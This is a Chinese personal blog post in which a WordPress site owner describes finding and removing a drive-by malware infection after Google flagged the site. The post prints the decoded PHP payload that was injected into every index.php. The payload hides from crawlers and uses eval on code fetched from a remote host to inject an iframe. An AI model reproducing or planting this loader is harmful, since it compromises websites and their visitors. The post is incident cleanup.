今天早晨登录自己的博客,忽然发现被报成了有害站点,一查,Google说该网站被挂马了,很奇怪啊,我自己这么小的网站都会被挂马?一开始还不太相信,因为自己看页面源代码的时候一点问题都没有,还以为是Google搞错了,后来用Rex Swain’s HTTP Viewer看了一下才发现,原来我的http://blog.ssfighter.com/果然有一个iframe:
看来果然是被挂马了,可是我的主页上却没有被挂马,相册、维基也没事,而在我空间上挂的别人的博客却也被挂上了一样的木马,非常奇怪,但却死活都找不到木马到底挂在了哪个文件上。grep了一通也没找到,最后从网上下载了一份新的Wordpress,把自己Wordpress的代码和干净的Wordpress比对了一下,发现了点问题,在wp-content/index.php文件里面发现了这么一段:
看来这就是问题所在,用Base64给那一大堆字符解码,可以看到:
error_reporting(0);
set_time_limit(0);
$z37="stats";
$ua3=$_SERVER["HTTP_USER_AGENT"];
$u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "Mac", "inux", "X11");
if((preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_SERVER["HTTP_REFERER"]) ==0) or (isset($_SERVER["HTTP_COOKIE"])) or (isset($_SERVER["HTTP_USER_AGENT"]) ==0) )
{}
else
{
@setcookie($z37,md5("stats"),time()+172800);
$url = "http://4040ent.com/session.php?id";
$iframe=@eval(file_get_contents ($url));
if ($iframe) echo($iframe);
}果然,这里就是挂的马,这个68066的注释很有意思,正好用这个作为特征值在wordpress目录下用grep扫一遍:
grep -r '68066' ./可以发现所有的index.php文件都被挂马了,再回到www的根目录下发现果然是所有的index.php都在头上加了这么一段,把这些东西都清除掉,万事大吉。再查,在非www目录里的index.php都没有被感染。
很抱歉一直没发现自己的博客被挂马,影响了大家,真对不起。我已经向Google申请review,希望能尽快把这个“已被报告的攻击站点”给去掉。最后总结一下,尽管是小站,还是要多加注意,以前完全没想到自己一个个人的小站也会被挂马,没仔细查原因,看起来似乎是从FTP那边进攻的,先把FTP服务给关掉好了,反正自己一时半会也用不到。
评论